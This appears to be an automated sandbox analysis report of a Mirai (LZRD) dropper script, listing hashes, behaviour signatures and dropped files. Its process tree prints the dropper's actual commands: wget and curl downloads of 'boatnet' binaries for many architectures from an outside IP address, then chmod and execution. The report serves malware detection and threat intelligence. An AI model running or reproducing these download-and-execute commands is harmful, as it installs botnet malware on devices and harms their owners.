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Analysis

  • max time kernel
    149s
  • max time network
    138s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    19/09/2024, 01:45

General

  • Target

    c930c9cb86afa77d4f0ccee8e6db3dc45f7ec19d65ef91324ee6323304a9d848.sh

  • Size

    2KB

  • MD5

    4a893c8353bab065303d261e80d3eaa4

  • SHA1

    eba1f6ee2352f61f1f7a900c7c81627392ede189

  • SHA256

    c930c9cb86afa77d4f0ccee8e6db3dc45f7ec19d65ef91324ee6323304a9d848

  • SHA512

    d53e6bec33758285fd800579832ceace3cca32c4fb10517f933a875b7a1de067368d436847865797bfdcd63e0e7d1f6a11f1966fe7b2380d72a03c27370d8102

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Writes file to system bin folder 2 IoCs
  • Reads runtime system information 36 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/c930c9cb86afa77d4f0ccee8e6db3dc45f7ec19d65ef91324ee6323304a9d848.sh
    /tmp/c930c9cb86afa77d4f0ccee8e6db3dc45f7ec19d65ef91324ee6323304a9d848.sh
    1⤵
    • Writes file to tmp directory
    PID:711
    • /usr/bin/wget
      wget http://103.161.34.97/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:716
    • /usr/bin/curl
      curl -O http://103.161.34.97/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:729
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:737
      • /bin/chmod
        chmod +x boatnet.x86 c930c9cb86afa77d4f0ccee8e6db3dc45f7ec19d65ef91324ee6323304a9d848.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-p4JeJP WTF
        2⤵
        • File and Directory Permissions Modification
        PID:738
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:739
      • /usr/bin/wget
        wget http://103.161.34.97/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:742
      • /usr/bin/curl
        curl -O http://103.161.34.97/hiddenbin/boatnet.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:744
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:745
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 c930c9cb86afa77d4f0ccee8e6db3dc45f7ec19d65ef91324ee6323304a9d848.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-p4JeJP WTF
        2⤵
        • File and Directory Permissions Modification
        PID:746
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:747
      • /usr/bin/wget
        wget http://103.161.34.97/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:749
      • /usr/bin/curl
        curl -O http://103.161.34.97/hiddenbin/boatnet.arc
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:750
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:751
        • /bin/chmod
          chmod +x boatnet.arc boatnet.mips boatnet.x86 c930c9cb86afa77d4f0ccee8e6db3dc45f7ec19d65ef91324ee6323304a9d848.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-p4JeJP WTF
          2⤵
          • File and Directory Permissions Modification
          PID:752
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:753
        • /usr/bin/wget
          wget http://103.161.34.97/hiddenbin/boatnet.i468
          2⤵
            PID:755
          • /usr/bin/curl
            curl -O http://103.161.34.97/hiddenbin/boatnet.i468
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:756
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:763
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 c930c9cb86afa77d4f0ccee8e6db3dc45f7ec19d65ef91324ee6323304a9d848.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-p4JeJP WTF
              2⤵
              • File and Directory Permissions Modification
              PID:764
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:765
            • /usr/bin/wget
              wget http://103.161.34.97/hiddenbin/boatnet.i686
              2⤵
                PID:768
              • /usr/bin/curl
                curl -O http://103.161.34.97/hiddenbin/boatnet.i686
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:773
              • /bin/cat
                cat boatnet.i686
                2⤵
                  PID:780
                • /bin/chmod
                  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 c930c9cb86afa77d4f0ccee8e6db3dc45f7ec19d65ef91324ee6323304a9d848.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-p4JeJP WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:781
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:783
                • /usr/bin/wget
                  wget http://103.161.34.97/hiddenbin/boatnet.x86_64
                  2⤵
                    PID:785
                  • /usr/bin/curl
                    curl -O http://103.161.34.97/hiddenbin/boatnet.x86_64
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:790
                  • /bin/cat
                    cat boatnet.x86_64
                    2⤵
                      PID:799
                    • /bin/chmod
                      chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 c930c9cb86afa77d4f0ccee8e6db3dc45f7ec19d65ef91324ee6323304a9d848.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-p4JeJP WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:800
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:801
                    • /usr/bin/wget
                      wget http://103.161.34.97/hiddenbin/boatnet.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:804
                    • /usr/bin/curl
                      curl -O http://103.161.34.97/hiddenbin/boatnet.mpsl
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:814
                    • /bin/cat
                      cat boatnet.mpsl
                      2⤵
                        PID:817
                      • /bin/chmod
                        chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 c930c9cb86afa77d4f0ccee8e6db3dc45f7ec19d65ef91324ee6323304a9d848.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-p4JeJP WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:818
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Writes file to system bin folder
                        • Reads runtime system information
                        PID:819
                      • /usr/bin/wget
                        wget http://103.161.34.97/hiddenbin/boatnet.arm
                        2⤵
                        • Writes file to tmp directory
                        PID:823
                      • /usr/bin/curl
                        curl -O http://103.161.34.97/hiddenbin/boatnet.arm
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:824
                      • /bin/cat
                        cat boatnet.arm
                        2⤵
                          PID:825
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 c930c9cb86afa77d4f0ccee8e6db3dc45f7ec19d65ef91324ee6323304a9d848.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-p4JeJP WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:826
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          PID:827
                        • /usr/bin/wget
                          wget http://103.161.34.97/hiddenbin/boatnet.arm5
                          2⤵
                          • Writes file to tmp directory
                          PID:829
                        • /usr/bin/curl
                          curl -O http://103.161.34.97/hiddenbin/boatnet.arm5
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:830
                        • /bin/cat
                          cat boatnet.arm5
                          2⤵
                            PID:831
                          • /bin/chmod
                            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 c930c9cb86afa77d4f0ccee8e6db3dc45f7ec19d65ef91324ee6323304a9d848.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-p4JeJP WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:832
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:833
                          • /usr/bin/wget
                            wget http://103.161.34.97/hiddenbin/boatnet.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:837
                          • /usr/bin/curl
                            curl -O http://103.161.34.97/hiddenbin/boatnet.arm6
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:842
                          • /bin/cat
                            cat boatnet.arm6
                            2⤵
                              PID:850
                            • /bin/chmod
                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 c930c9cb86afa77d4f0ccee8e6db3dc45f7ec19d65ef91324ee6323304a9d848.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-p4JeJP WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:852
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              PID:853
                            • /usr/bin/wget
                              wget http://103.161.34.97/hiddenbin/boatnet.arm7
                              2⤵
                              • Writes file to tmp directory
                              PID:856
                            • /usr/bin/curl
                              curl -O http://103.161.34.97/hiddenbin/boatnet.arm7
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:863
                            • /bin/cat
                              cat boatnet.arm7
                              2⤵
                                PID:873
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 c930c9cb86afa77d4f0ccee8e6db3dc45f7ec19d65ef91324ee6323304a9d848.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-p4JeJP WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:874
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                PID:875
                              • /usr/bin/wget
                                wget http://103.161.34.97/hiddenbin/boatnet.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:877
                              • /usr/bin/curl
                                curl -O http://103.161.34.97/hiddenbin/boatnet.ppc
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:878
                              • /bin/cat
                                cat boatnet.ppc
                                2⤵
                                  PID:879
                                • /bin/chmod
                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 c930c9cb86afa77d4f0ccee8e6db3dc45f7ec19d65ef91324ee6323304a9d848.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-p4JeJP WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:880
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:881
                                • /usr/bin/wget
                                  wget http://103.161.34.97/hiddenbin/boatnet.spc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:883
                                • /usr/bin/curl
                                  curl -O http://103.161.34.97/hiddenbin/boatnet.spc
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:884
                                • /bin/cat
                                  cat boatnet.spc
                                  2⤵
                                    PID:885
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 c930c9cb86afa77d4f0ccee8e6db3dc45f7ec19d65ef91324ee6323304a9d848.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-p4JeJP WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:886
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:887
                                  • /usr/bin/wget
                                    wget http://103.161.34.97/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:889
                                  • /usr/bin/curl
                                    curl -O http://103.161.34.97/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:890
                                  • /bin/cat
                                    cat boatnet.m68k
                                    2⤵
                                      PID:891
                                    • /bin/chmod
                                      chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 c930c9cb86afa77d4f0ccee8e6db3dc45f7ec19d65ef91324ee6323304a9d848.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-p4JeJP WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:892
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:893
                                    • /usr/bin/wget
                                      wget http://103.161.34.97/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:895
                                    • /usr/bin/curl
                                      curl -O http://103.161.34.97/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:896
                                    • /bin/cat
                                      cat boatnet.sh4
                                      2⤵
                                        PID:897
                                      • /bin/chmod
                                        chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 c930c9cb86afa77d4f0ccee8e6db3dc45f7ec19d65ef91324ee6323304a9d848.sh systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-p4JeJP WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:898
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Executes dropped EXE
                                        PID:899

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/WTF

                                      Filesize

                                      23KB

                                      MD5

                                      0ca9988999f9449cb8de6d82c540fb13

                                      SHA1

                                      bf1ba27a3d3b54f811d7f12790837e7f77df9224

                                      SHA256

                                      e3781b49a2d08aaae5fb384097d07bc6d04fb58084a409d61ced11cbe364d52f

                                      SHA512

                                      76db94224cdb1dd4b53e11cb43fca23b5669cf7f59b2cb2cf5740467ebb6d289a7fe31b27cf4fd3b53185e2d448b7895f588f701c12ae3d75420481cadde37ff

                                    • /tmp/WTF

                                      Filesize

                                      105KB

                                      MD5

                                      6880892d2aeb3e6c097ce86907cdb99a

                                      SHA1

                                      964538bf19fa7785f246316480e5476277ac883d

                                      SHA256

                                      d67e72cb71a2ae2944b916a00a9aeeb6473a0db1bff900f37b02af8cdd3da43b

                                      SHA512

                                      ac4abc0bf94346ef8ca629d020e11a5006c14a450eebbe72e4d75aee10495593934574ff235ea274340975445f954115f7c137f292509507a02ed9fd4e4b9fea

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      f1c24d9fa40a047ae22d2d3ae7dfeac9

                                      SHA1

                                      750274b02d5f5b00026a4f55b020f4285c693533

                                      SHA256

                                      219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                      SHA512

                                      36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      a8f502a6fb3b7b940e922c951d9e493a

                                      SHA1

                                      fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                      SHA256

                                      748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                      SHA512

                                      e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                    • /tmp/WTF

                                      Filesize

                                      57KB

                                      MD5

                                      e4784f8d097925b43ebf077b2cb41322

                                      SHA1

                                      6e405cdb17bec193d7dbdddc8b74e2dcd9ee98da

                                      SHA256

                                      9be19be3284aa46c7d91d710011a4bb753b479c47fb7fe29a05f4f20ffe15075

                                      SHA512

                                      3df54a03469a797f957f8fc06ae78470a90e364733e71e814ce238c35ffb465c7932427bed6ca2e2a133d6c467806956e8045a2fc2b36b2e12ba53c36b4ce918

                                    • /tmp/boatnet.x86

                                      Filesize

                                      20KB

                                      MD5

                                      47edbab1373ae50516e11cb44d3d732c

                                      SHA1

                                      8ffe9c6a91ccf6d8c8c8f4536c06467ee343462f

                                      SHA256

                                      5bd874b07a03a85d6ab1eba496477ef1bb1f67618d8d0cc0a245491f6768bec3

                                      SHA512

                                      baab643f64639f3999ae43670ff071818234f7fb3523aeb1e3d19cc6df045362b138670276ddd128d0c05f7edb8c33465f0e631bf178992dd886a80f085b96e2